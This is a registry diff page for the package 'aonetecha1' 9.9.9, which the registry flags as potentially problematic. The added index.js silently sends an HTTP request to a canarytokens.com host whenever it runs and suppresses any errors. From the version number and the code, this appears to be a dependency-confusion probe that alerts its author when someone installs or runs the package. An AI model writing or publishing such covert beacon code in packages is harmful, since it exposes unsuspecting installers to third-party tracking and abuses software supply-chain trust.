aonetecha1 9.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of aonetecha1 might be problematic. Click here for more details.
- package/README.md +2 -0
- package/index.js +29 -0
- package/package.json +12 -0
package/README.md
ADDED
package/index.js
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
// This code just notify me it's trigger
|
|
2
|
+
|
|
3
|
+
// Importing https module
|
|
4
|
+
const http = require('http');
|
|
5
|
+
|
|
6
|
+
// Setting the configuration for
|
|
7
|
+
// the request
|
|
8
|
+
const options = {
|
|
9
|
+
hostname: 'ptodtmslc9dk69smxwmh1d0hz.canarytokens.com',
|
|
10
|
+
path: '/posts',
|
|
11
|
+
method: 'GET'
|
|
12
|
+
};
|
|
13
|
+
|
|
14
|
+
// Sending the request
|
|
15
|
+
const req = http.request(options, (res) => {
|
|
16
|
+
let data = ''
|
|
17
|
+
|
|
18
|
+
res.on('data', (chunk) => {
|
|
19
|
+
data += chunk;
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
// Ending the response
|
|
23
|
+
res.on('end', () => {
|
|
24
|
+
// console.log('Body:', JSON.parse(data))
|
|
25
|
+
});
|
|
26
|
+
|
|
27
|
+
}).on("error", (err) => {
|
|
28
|
+
// console.log("Error: ", err)
|
|
29
|
+
}).end()
|
package/package.json
ADDED